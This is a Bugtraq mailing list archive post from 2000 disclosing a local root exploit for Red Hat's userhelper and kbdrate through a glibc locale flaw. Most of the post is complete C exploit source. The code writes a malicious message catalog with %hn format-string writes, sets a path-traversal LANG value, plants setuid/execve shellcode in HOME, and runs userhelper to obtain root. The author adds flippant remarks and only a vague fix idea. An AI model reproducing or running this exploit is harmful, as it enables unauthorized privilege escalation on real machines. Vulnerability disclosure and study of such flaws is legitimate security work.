Home page logo
/

bugtraq logo Bugtraq mailing list archives

glibc and userhelper - local root
From: zenith parsec <zenith_parsec () THE-ASTRONAUT COM>
Date: Sat, 30 Sep 2000 13:11:53 -0000

PROBLEM: local root thru setuid+glibc locale
FIX: don't let anyone else your computer.
WHAT??: advantage all other fixes to be suggested...
you get to use your computer more often than if you have to share it. ;}

FIX: no idea yet. mebe not allow .. in the locale for root or at all?

/* start of zen-nktb.c */
/***********************************************************
local root exploit - userhelper/kbdrate - console only
You can only use it on people you know.

               --zen-parse--  

              ** programs **

[root () continuity /root]# rpm -qf /usr/bin/kbdrate 
util-linux-2.9w-24
[root () continuity /root]# rpm -qf /usr/sbin/userhelper 
usermode-1.35-1
[root () continuity /root]# rpm -qf /lib/libc.so.6 
glibc-2.1.3-21

         ** short description **

people can get root if they are logged in to your machine,
actually at the console. 

        ** longer description **

This exploits the glibc locale hole (even in fixed version).
(If your name is in /var/lock/console/* then you can do it. 
Mebe other ways as well.)
Gets past the fix because there is a call to setuid(0); 
just before exec-ing the called program. Now uid=euid=0
so it even gives u core dumps(owned by root). 

              ** reason **

The sanity checks don't set done on the nonsuid programs.
Maybe sanity check root and all suids?


***********************************************************/

/************************************************************************
      another setlocale setuid proof of concept exploit
      Sat Sep 30 02:47:38 NZST 2000 - ./zen-nktb.c

                           --zen-parse-- 
************************************************************************/
#include <stdio.h>
int getesp(){__asm__("movl %esp,%eax");}
char shellcode[] = 
"\x90\x90\x31\xc0\x89\xc3\x89\xc1\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/xx";

void dopercentn(char *toaddr,unsigned int startloc,unsigned int sofar,int c)
// c       =what i want in the 1st location
// startloc=pointer to successive pointers 
{
 char *bigfmt;
 int f=0;
 unsigned int buffer=0;
 unsigned int d;
 unsigned int p,q,r,s;
 int n=1;
 unsigned int thistime;
 char fmt[1000];
 f=startloc;
 bigfmt=toaddr;
 sofar=(0x100-sofar%0x100);
 thistime=(c)%0x100+(sofar);
 sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
 strcpy(bigfmt,fmt);
 sofar=(sofar+(0x100-thistime));
 thistime=(c>>8)%0x100+(sofar);
 f++;
 sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
 strcat(bigfmt,fmt);
 sofar=sofar+(0x100-thistime);
 thistime=(c>>16)%0x100+(sofar);
 f++;
 sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
 strcat(bigfmt,fmt);
 sofar=sofar+(0x100-thistime);
 thistime=(c>>24)%0x100+(sofar);
 f++;
 sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
 strcat(bigfmt,fmt);
}


main(int argc,char *argv[],char *env[])
{
 FILE *fi,*fo;
 char buf[100000],daenv[8000]; 
 char *cwd,evil[300];  
 char *localedir;
 unsigned long dasize=0,c,d=0,e=0,esp,i; 
 int o=0x0c12b;
 int dest=0xbfffff16;
 if (argc>1) d=atoi(argv[1]);
 if (d==0) d =79;
 if (argc>2) e=strtoul(argv[2],0,16);
 if (e==0) e=0xbffffdb8;
 fi=fopen("./util-linux.raw","r"); 
 if (!fi)
 {
  perror("bugger: input didn't open:");
  exit(-1);
 }
 if (mkdir("LC_MESSAGES",0755))
 {
  perror("Couldn't mkdir:");
  if (chdir("LC_MESSAGES"))
  {
   perror("chdir failed:");
   exit(-1);
  }
  chdir("..");
 }
 fo=fopen("./LC_MESSAGES/util-linux.mo","w");
 if (!fo)
 {
  perror("bugger: output didn't open:");
  exit(-1);
 }
 dasize=fread(buf,1,sizeof(buf),fi); 
 fclose(fi); 
 dopercentn(buf+o,d,0,dest);
 strcpy(evil,"01234567890123456789012345678"); 
 strcat(evil,shellcode); 
 esp=(unsigned int)(argv[0])%4;
 esp=(6-esp)%4;
 *(long*)(esp+evil)=e; 
 *(long*)(esp+evil+4)=e+1; 
 *(long*)(esp+evil+8)=e+2; 
 *(long*)(esp+evil+12)=e+3; 
 fwrite(buf,1,dasize,fo); // lazy, lazy, lazy.
 fclose(fo); 
 cwd=(char *)getcwd(0,0);
 if (!cwd)
 {
  perror("getcwd: Stop playing silly buggers. You want root, no? :");
  exit(-1);
 }
 localedir=(char*)malloc(2000);
 if (!localedir) 
 {
  perror("malloc: fuck this for a game of soldiers:");
 }
 sprintf(localedir,"en_US/../../../../../..%s",cwd);
 sprintf(daenv,"LANG=%s",localedir);
 env[0]=0x0000000;
 putenv("DISPLAY=:0.0");
 putenv(daenv);
 putenv("TERM=vt100");
 putenv("SHELL=/bin/sh");
 putenv("USER=root");
 putenv("LOGNAME=root");
 setenv("HOME",evil,1);
 printf("Using dir of: %s\n",localedir);
 execl("/usr/sbin/userhelper","/usr/sbin/userhelper","-t","-w","/sbin/kbdrate",0);
}

/* end of zen-nktb.c */



Send someone a cool Dynamitemail flashcard greeting!! And get rewarded.
GO AHEAD! http://cards.dynamitemail.com/index.php3?rid=fc-41


  By Date           By Thread  

Current thread:
  • glibc and userhelper - local root zenith parsec (Sep 30)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault